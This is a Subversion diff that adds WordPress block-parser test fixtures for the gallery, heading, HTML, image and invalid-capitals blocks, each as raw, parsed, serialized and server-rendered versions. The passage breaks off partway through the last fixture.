Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__gallery__columns.parsed.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__gallery__columns.parsed.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__gallery__columns.parsed.json	(revision 56912)
@@ -0,0 +1,22 @@
+[
+    {
+        "blockName": "core/gallery",
+        "attrs": {
+            "columns": 1
+        },
+        "innerBlocks": [],
+        "innerHTML": "\n<ul class=\"wp-block-gallery columns-1 is-cropped\">\n\t<li class=\"blocks-gallery-item\">\n\t\t<figure>\n\t\t\t<img src=\"https://cldup.com/uuUqE_dXzy.jpg\" alt=\"title\" />\n\t\t</figure>\n\t</li>\n\t<li class=\"blocks-gallery-item\">\n\t\t<figure>\n\t\t\t<img src=\"http://google.com/hi.png\" alt=\"title\" />\n\t\t</figure>\n\t</li>\n</ul>\n",
+        "innerContent": [
+            "\n<ul class=\"wp-block-gallery columns-1 is-cropped\">\n\t<li class=\"blocks-gallery-item\">\n\t\t<figure>\n\t\t\t<img src=\"https://cldup.com/uuUqE_dXzy.jpg\" alt=\"title\" />\n\t\t</figure>\n\t</li>\n\t<li class=\"blocks-gallery-item\">\n\t\t<figure>\n\t\t\t<img src=\"http://google.com/hi.png\" alt=\"title\" />\n\t\t</figure>\n\t</li>\n</ul>\n"
+        ]
+    },
+    {
+        "blockName": null,
+        "attrs": {},
+        "innerBlocks": [],
+        "innerHTML": "\n",
+        "innerContent": [
+            "\n"
+        ]
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__gallery__columns.serialized.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__gallery__columns.serialized.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__gallery__columns.serialized.html	(revision 56912)
@@ -0,0 +1,3 @@
+<!-- wp:gallery {"columns":1} -->
+<ul class="wp-block-gallery columns-1 is-cropped"><li class="blocks-gallery-item"><figure><img src="https://cldup.com/uuUqE_dXzy.jpg" alt="title"/></figure></li><li class="blocks-gallery-item"><figure><img src="http://google.com/hi.png" alt="title"/></figure></li></ul>
+<!-- /wp:gallery -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__gallery__columns.server.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__gallery__columns.server.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__gallery__columns.server.html	(revision 56912)
@@ -0,0 +1,14 @@
+
+<ul class="wp-block-gallery columns-1 is-cropped">
+	<li class="blocks-gallery-item">
+		<figure>
+			<img src="https://cldup.com/uuUqE_dXzy.jpg" alt="title" />
+		</figure>
+	</li>
+	<li class="blocks-gallery-item">
+		<figure>
+			<img src="http://google.com/hi.png" alt="title" />
+		</figure>
+	</li>
+</ul>
+
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__heading__h2-em.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__heading__h2-em.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__heading__h2-em.html	(revision 56912)
@@ -0,0 +1,3 @@
+<!-- wp:core/heading -->
+<h2>The <em>Inserter</em> Tool</h2>
+<!-- /wp:core/heading -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__heading__h2-em.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__heading__h2-em.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__heading__h2-em.json	(revision 56912)
@@ -0,0 +1,13 @@
+[
+    {
+        "clientId": "_clientId_0",
+        "name": "core/heading",
+        "isValid": true,
+        "attributes": {
+            "content": "The <em>Inserter</em> Tool",
+            "level": 2
+        },
+        "innerBlocks": [],
+        "originalContent": "<h2>The <em>Inserter</em> Tool</h2>"
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__heading__h2-em.parsed.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__heading__h2-em.parsed.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__heading__h2-em.parsed.json	(revision 56912)
@@ -0,0 +1,20 @@
+[
+    {
+        "blockName": "core/heading",
+        "attrs": {},
+        "innerBlocks": [],
+        "innerHTML": "\n<h2>The <em>Inserter</em> Tool</h2>\n",
+        "innerContent": [
+            "\n<h2>The <em>Inserter</em> Tool</h2>\n"
+        ]
+    },
+    {
+        "blockName": null,
+        "attrs": {},
+        "innerBlocks": [],
+        "innerHTML": "\n",
+        "innerContent": [
+            "\n"
+        ]
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__heading__h2-em.serialized.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__heading__h2-em.serialized.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__heading__h2-em.serialized.html	(revision 56912)
@@ -0,0 +1,3 @@
+<!-- wp:heading -->
+<h2>The <em>Inserter</em> Tool</h2>
+<!-- /wp:heading -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__heading__h2-em.server.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__heading__h2-em.server.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__heading__h2-em.server.html	(revision 56912)
@@ -0,0 +1,3 @@
+
+<h2>The <em>Inserter</em> Tool</h2>
+
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__heading__h2.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__heading__h2.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__heading__h2.html	(revision 56912)
@@ -0,0 +1,3 @@
+<!-- wp:core/heading -->
+<h2>A picture is worth a thousand words, or so the saying goes</h2>
+<!-- /wp:core/heading -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__heading__h2.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__heading__h2.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__heading__h2.json	(revision 56912)
@@ -0,0 +1,13 @@
+[
+    {
+        "clientId": "_clientId_0",
+        "name": "core/heading",
+        "isValid": true,
+        "attributes": {
+            "content": "A picture is worth a thousand words, or so the saying goes",
+            "level": 2
+        },
+        "innerBlocks": [],
+        "originalContent": "<h2>A picture is worth a thousand words, or so the saying goes</h2>"
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__heading__h2.parsed.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__heading__h2.parsed.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__heading__h2.parsed.json	(revision 56912)
@@ -0,0 +1,20 @@
+[
+    {
+        "blockName": "core/heading",
+        "attrs": {},
+        "innerBlocks": [],
+        "innerHTML": "\n<h2>A picture is worth a thousand words, or so the saying goes</h2>\n",
+        "innerContent": [
+            "\n<h2>A picture is worth a thousand words, or so the saying goes</h2>\n"
+        ]
+    },
+    {
+        "blockName": null,
+        "attrs": {},
+        "innerBlocks": [],
+        "innerHTML": "\n",
+        "innerContent": [
+            "\n"
+        ]
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__heading__h2.serialized.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__heading__h2.serialized.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__heading__h2.serialized.html	(revision 56912)
@@ -0,0 +1,3 @@
+<!-- wp:heading -->
+<h2>A picture is worth a thousand words, or so the saying goes</h2>
+<!-- /wp:heading -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__heading__h2.server.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__heading__h2.server.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__heading__h2.server.html	(revision 56912)
@@ -0,0 +1,3 @@
+
+<h2>A picture is worth a thousand words, or so the saying goes</h2>
+
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__html.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__html.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__html.html	(revision 56912)
@@ -0,0 +1,4 @@
+<!-- wp:core/html -->
+<h1>Some HTML code</h1>
+<marquee>This text will scroll from right to left</marquee>
+<!-- /wp:core/html -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__html.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__html.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__html.json	(revision 56912)
@@ -0,0 +1,12 @@
+[
+    {
+        "clientId": "_clientId_0",
+        "name": "core/html",
+        "isValid": true,
+        "attributes": {
+            "content": "<h1>Some HTML code</h1>\n<marquee>This text will scroll from right to left</marquee>"
+        },
+        "innerBlocks": [],
+        "originalContent": "<h1>Some HTML code</h1>\n<marquee>This text will scroll from right to left</marquee>"
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__html.parsed.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__html.parsed.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__html.parsed.json	(revision 56912)
@@ -0,0 +1,20 @@
+[
+    {
+        "blockName": "core/html",
+        "attrs": {},
+        "innerBlocks": [],
+        "innerHTML": "\n<h1>Some HTML code</h1>\n<marquee>This text will scroll from right to left</marquee>\n",
+        "innerContent": [
+            "\n<h1>Some HTML code</h1>\n<marquee>This text will scroll from right to left</marquee>\n"
+        ]
+    },
+    {
+        "blockName": null,
+        "attrs": {},
+        "innerBlocks": [],
+        "innerHTML": "\n",
+        "innerContent": [
+            "\n"
+        ]
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__html.serialized.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__html.serialized.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__html.serialized.html	(revision 56912)
@@ -0,0 +1,4 @@
+<!-- wp:html -->
+<h1>Some HTML code</h1>
+<marquee>This text will scroll from right to left</marquee>
+<!-- /wp:html -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__html.server.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__html.server.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__html.server.html	(revision 56912)
@@ -0,0 +1,4 @@
+
+<h1>Some HTML code</h1>
+<marquee>This text will scroll from right to left</marquee>
+
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__image.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__image.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__image.html	(revision 56912)
@@ -0,0 +1,3 @@
+<!-- wp:core/image -->
+<figure class="wp-block-image"><img src="https://cldup.com/uuUqE_dXzy.jpg" alt="" /></figure>
+<!-- /wp:core/image -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__image.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__image.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__image.json	(revision 56912)
@@ -0,0 +1,15 @@
+[
+    {
+        "clientId": "_clientId_0",
+        "name": "core/image",
+        "isValid": true,
+        "attributes": {
+            "url": "https://cldup.com/uuUqE_dXzy.jpg",
+            "alt": "",
+            "caption": "",
+            "linkDestination": "none"
+        },
+        "innerBlocks": [],
+        "originalContent": "<figure class=\"wp-block-image\"><img src=\"https://cldup.com/uuUqE_dXzy.jpg\" alt=\"\" /></figure>"
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__image.parsed.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__image.parsed.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__image.parsed.json	(revision 56912)
@@ -0,0 +1,20 @@
+[
+    {
+        "blockName": "core/image",
+        "attrs": {},
+        "innerBlocks": [],
+        "innerHTML": "\n<figure class=\"wp-block-image\"><img src=\"https://cldup.com/uuUqE_dXzy.jpg\" alt=\"\" /></figure>\n",
+        "innerContent": [
+            "\n<figure class=\"wp-block-image\"><img src=\"https://cldup.com/uuUqE_dXzy.jpg\" alt=\"\" /></figure>\n"
+        ]
+    },
+    {
+        "blockName": null,
+        "attrs": {},
+        "innerBlocks": [],
+        "innerHTML": "\n",
+        "innerContent": [
+            "\n"
+        ]
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__image.serialized.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__image.serialized.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__image.serialized.html	(revision 56912)
@@ -0,0 +1,3 @@
+<!-- wp:image -->
+<figure class="wp-block-image"><img src="https://cldup.com/uuUqE_dXzy.jpg" alt=""/></figure>
+<!-- /wp:image -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__image.server.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__image.server.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__image.server.html	(revision 56912)
@@ -0,0 +1,3 @@
+
+<figure class="wp-block-image"><img src="https://cldup.com/uuUqE_dXzy.jpg" alt="" /></figure>
+
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__image__attachment-link.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__image__attachment-link.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__image__attachment-link.html	(revision 56912)
@@ -0,0 +1,3 @@
+<!-- wp:core/image {"linkDestination":"attachment"}  -->
+<figure class="wp-block-image"><a href="http://localhost:8888/?attachment_id=7"><img src="https://cldup.com/uuUqE_dXzy.jpg" alt="" /></a></figure>
+<!-- /wp:core/image -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__image__attachment-link.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__image__attachment-link.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__image__attachment-link.json	(revision 56912)
@@ -0,0 +1,16 @@
+[
+    {
+        "clientId": "_clientId_0",
+        "name": "core/image",
+        "isValid": true,
+        "attributes": {
+            "url": "https://cldup.com/uuUqE_dXzy.jpg",
+            "alt": "",
+            "caption": "",
+            "href": "http://localhost:8888/?attachment_id=7",
+            "linkDestination": "attachment"
+        },
+        "innerBlocks": [],
+        "originalContent": "<figure class=\"wp-block-image\"><a href=\"http://localhost:8888/?attachment_id=7\"><img src=\"https://cldup.com/uuUqE_dXzy.jpg\" alt=\"\" /></a></figure>"
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__image__attachment-link.parsed.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__image__attachment-link.parsed.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__image__attachment-link.parsed.json	(revision 56912)
@@ -0,0 +1,22 @@
+[
+    {
+        "blockName": "core/image",
+        "attrs": {
+            "linkDestination": "attachment"
+        },
+        "innerBlocks": [],
+        "innerHTML": "\n<figure class=\"wp-block-image\"><a href=\"http://localhost:8888/?attachment_id=7\"><img src=\"https://cldup.com/uuUqE_dXzy.jpg\" alt=\"\" /></a></figure>\n",
+        "innerContent": [
+            "\n<figure class=\"wp-block-image\"><a href=\"http://localhost:8888/?attachment_id=7\"><img src=\"https://cldup.com/uuUqE_dXzy.jpg\" alt=\"\" /></a></figure>\n"
+        ]
+    },
+    {
+        "blockName": null,
+        "attrs": {},
+        "innerBlocks": [],
+        "innerHTML": "\n",
+        "innerContent": [
+            "\n"
+        ]
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__image__attachment-link.serialized.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__image__attachment-link.serialized.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__image__attachment-link.serialized.html	(revision 56912)
@@ -0,0 +1,3 @@
+<!-- wp:image {"linkDestination":"attachment"} -->
+<figure class="wp-block-image"><a href="http://localhost:8888/?attachment_id=7"><img src="https://cldup.com/uuUqE_dXzy.jpg" alt=""/></a></figure>
+<!-- /wp:image -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__image__attachment-link.server.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__image__attachment-link.server.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__image__attachment-link.server.html	(revision 56912)
@@ -0,0 +1,3 @@
+
+<figure class="wp-block-image"><a href="http://localhost:8888/?attachment_id=7"><img src="https://cldup.com/uuUqE_dXzy.jpg" alt="" /></a></figure>
+
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__image__center-caption.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__image__center-caption.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__image__center-caption.html	(revision 56912)
@@ -0,0 +1,3 @@
+<!-- wp:core/image {"align":"center"} -->
+<div class="wp-block-image"><figure class="aligncenter"><img src="https://cldup.com/YLYhpou2oq.jpg" alt="" /><figcaption>Give it a try. Press the &quot;really wide&quot; button on the image toolbar.</figcaption></figure></div>
+<!-- /wp:core/image -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__image__center-caption.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__image__center-caption.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__image__center-caption.json	(revision 56912)
@@ -0,0 +1,16 @@
+[
+    {
+        "clientId": "_clientId_0",
+        "name": "core/image",
+        "isValid": true,
+        "attributes": {
+            "url": "https://cldup.com/YLYhpou2oq.jpg",
+            "alt": "",
+            "caption": "Give it a try. Press the \"really wide\" button on the image toolbar.",
+            "align": "center",
+            "linkDestination": "none"
+        },
+        "innerBlocks": [],
+        "originalContent": "<div class=\"wp-block-image\"><figure class=\"aligncenter\"><img src=\"https://cldup.com/YLYhpou2oq.jpg\" alt=\"\" /><figcaption>Give it a try. Press the &quot;really wide&quot; button on the image toolbar.</figcaption></figure></div>"
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__image__center-caption.parsed.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__image__center-caption.parsed.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__image__center-caption.parsed.json	(revision 56912)
@@ -0,0 +1,22 @@
+[
+    {
+        "blockName": "core/image",
+        "attrs": {
+            "align": "center"
+        },
+        "innerBlocks": [],
+        "innerHTML": "\n<div class=\"wp-block-image\"><figure class=\"aligncenter\"><img src=\"https://cldup.com/YLYhpou2oq.jpg\" alt=\"\" /><figcaption>Give it a try. Press the &quot;really wide&quot; button on the image toolbar.</figcaption></figure></div>\n",
+        "innerContent": [
+            "\n<div class=\"wp-block-image\"><figure class=\"aligncenter\"><img src=\"https://cldup.com/YLYhpou2oq.jpg\" alt=\"\" /><figcaption>Give it a try. Press the &quot;really wide&quot; button on the image toolbar.</figcaption></figure></div>\n"
+        ]
+    },
+    {
+        "blockName": null,
+        "attrs": {},
+        "innerBlocks": [],
+        "innerHTML": "\n",
+        "innerContent": [
+            "\n"
+        ]
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__image__center-caption.serialized.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__image__center-caption.serialized.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__image__center-caption.serialized.html	(revision 56912)
@@ -0,0 +1,3 @@
+<!-- wp:image {"align":"center"} -->
+<div class="wp-block-image"><figure class="aligncenter"><img src="https://cldup.com/YLYhpou2oq.jpg" alt=""/><figcaption>Give it a try. Press the "really wide" button on the image toolbar.</figcaption></figure></div>
+<!-- /wp:image -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__image__center-caption.server.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__image__center-caption.server.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__image__center-caption.server.html	(revision 56912)
@@ -0,0 +1,3 @@
+
+<div class="wp-block-image"><figure class="aligncenter"><img src="https://cldup.com/YLYhpou2oq.jpg" alt="" /><figcaption>Give it a try. Press the &quot;really wide&quot; button on the image toolbar.</figcaption></figure></div>
+
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__image__custom-link.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__image__custom-link.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__image__custom-link.html	(revision 56912)
@@ -0,0 +1,3 @@
+<!-- wp:core/image {"linkDestination":"custom"}  -->
+<figure class="wp-block-image"><a href="https://wordpress.org/"><img src="https://cldup.com/uuUqE_dXzy.jpg" alt="" /></a></figure>
+<!-- /wp:core/image -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__image__custom-link.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__image__custom-link.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__image__custom-link.json	(revision 56912)
@@ -0,0 +1,16 @@
+[
+    {
+        "clientId": "_clientId_0",
+        "name": "core/image",
+        "isValid": true,
+        "attributes": {
+            "url": "https://cldup.com/uuUqE_dXzy.jpg",
+            "alt": "",
+            "caption": "",
+            "href": "https://wordpress.org/",
+            "linkDestination": "custom"
+        },
+        "innerBlocks": [],
+        "originalContent": "<figure class=\"wp-block-image\"><a href=\"https://wordpress.org/\"><img src=\"https://cldup.com/uuUqE_dXzy.jpg\" alt=\"\" /></a></figure>"
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__image__custom-link.parsed.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__image__custom-link.parsed.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__image__custom-link.parsed.json	(revision 56912)
@@ -0,0 +1,22 @@
+[
+    {
+        "blockName": "core/image",
+        "attrs": {
+            "linkDestination": "custom"
+        },
+        "innerBlocks": [],
+        "innerHTML": "\n<figure class=\"wp-block-image\"><a href=\"https://wordpress.org/\"><img src=\"https://cldup.com/uuUqE_dXzy.jpg\" alt=\"\" /></a></figure>\n",
+        "innerContent": [
+            "\n<figure class=\"wp-block-image\"><a href=\"https://wordpress.org/\"><img src=\"https://cldup.com/uuUqE_dXzy.jpg\" alt=\"\" /></a></figure>\n"
+        ]
+    },
+    {
+        "blockName": null,
+        "attrs": {},
+        "innerBlocks": [],
+        "innerHTML": "\n",
+        "innerContent": [
+            "\n"
+        ]
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__image__custom-link.serialized.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__image__custom-link.serialized.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__image__custom-link.serialized.html	(revision 56912)
@@ -0,0 +1,3 @@
+<!-- wp:image {"linkDestination":"custom"} -->
+<figure class="wp-block-image"><a href="https://wordpress.org/"><img src="https://cldup.com/uuUqE_dXzy.jpg" alt=""/></a></figure>
+<!-- /wp:image -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__image__custom-link.server.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__image__custom-link.server.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__image__custom-link.server.html	(revision 56912)
@@ -0,0 +1,3 @@
+
+<figure class="wp-block-image"><a href="https://wordpress.org/"><img src="https://cldup.com/uuUqE_dXzy.jpg" alt="" /></a></figure>
+
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__image__media-link.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__image__media-link.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__image__media-link.html	(revision 56912)
@@ -0,0 +1,3 @@
+<!-- wp:core/image {"linkDestination":"media"}  -->
+<figure class="wp-block-image"><a href="https://cldup.com/uuUqE_dXzy.jpg"><img src="https://cldup.com/uuUqE_dXzy.jpg" alt="" /></a></figure>
+<!-- /wp:core/image -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__image__media-link.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__image__media-link.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__image__media-link.json	(revision 56912)
@@ -0,0 +1,16 @@
+[
+    {
+        "clientId": "_clientId_0",
+        "name": "core/image",
+        "isValid": true,
+        "attributes": {
+            "url": "https://cldup.com/uuUqE_dXzy.jpg",
+            "alt": "",
+            "caption": "",
+            "href": "https://cldup.com/uuUqE_dXzy.jpg",
+            "linkDestination": "media"
+        },
+        "innerBlocks": [],
+        "originalContent": "<figure class=\"wp-block-image\"><a href=\"https://cldup.com/uuUqE_dXzy.jpg\"><img src=\"https://cldup.com/uuUqE_dXzy.jpg\" alt=\"\" /></a></figure>"
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__image__media-link.parsed.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__image__media-link.parsed.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__image__media-link.parsed.json	(revision 56912)
@@ -0,0 +1,22 @@
+[
+    {
+        "blockName": "core/image",
+        "attrs": {
+            "linkDestination": "media"
+        },
+        "innerBlocks": [],
+        "innerHTML": "\n<figure class=\"wp-block-image\"><a href=\"https://cldup.com/uuUqE_dXzy.jpg\"><img src=\"https://cldup.com/uuUqE_dXzy.jpg\" alt=\"\" /></a></figure>\n",
+        "innerContent": [
+            "\n<figure class=\"wp-block-image\"><a href=\"https://cldup.com/uuUqE_dXzy.jpg\"><img src=\"https://cldup.com/uuUqE_dXzy.jpg\" alt=\"\" /></a></figure>\n"
+        ]
+    },
+    {
+        "blockName": null,
+        "attrs": {},
+        "innerBlocks": [],
+        "innerHTML": "\n",
+        "innerContent": [
+            "\n"
+        ]
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__image__media-link.serialized.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__image__media-link.serialized.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__image__media-link.serialized.html	(revision 56912)
@@ -0,0 +1,3 @@
+<!-- wp:image {"linkDestination":"media"} -->
+<figure class="wp-block-image"><a href="https://cldup.com/uuUqE_dXzy.jpg"><img src="https://cldup.com/uuUqE_dXzy.jpg" alt=""/></a></figure>
+<!-- /wp:image -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__image__media-link.server.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__image__media-link.server.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__image__media-link.server.html	(revision 56912)
@@ -0,0 +1,3 @@
+
+<figure class="wp-block-image"><a href="https://cldup.com/uuUqE_dXzy.jpg"><img src="https://cldup.com/uuUqE_dXzy.jpg" alt="" /></a></figure>
+
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__invalid-Capitals.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__invalid-Capitals.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__invalid-Capitals.html	(revision 56912)
@@ -0,0 +1,1 @@
+<!-- wp:core/invalid-Capitals /-->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__invalid-Capitals.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__invalid-Capitals.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__invalid-Capitals.json	(revision 56912)
@@ -0,0 +1,12 @@
+[
+    {
+        "clientId": "_clientId_0",
+        "name": "core/freeform",
+        "isValid": true,
+        "attributes": {
+            "content": "<p><!-- wp:core/invalid-Capitals /--></p>"
+        },
+        "innerBlocks": [],
+        "originalContent": "<p><!-- wp:core/invalid-Capitals /--></p>"
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__invalid-Capitals.parsed.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__invalid-Capitals.parsed.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__invalid-Capitals.parsed.json	(revision 56912)
@@ -0,0 +1,11 @@
+[
+    {
+        "blockName": null,
+        "attrs": {},
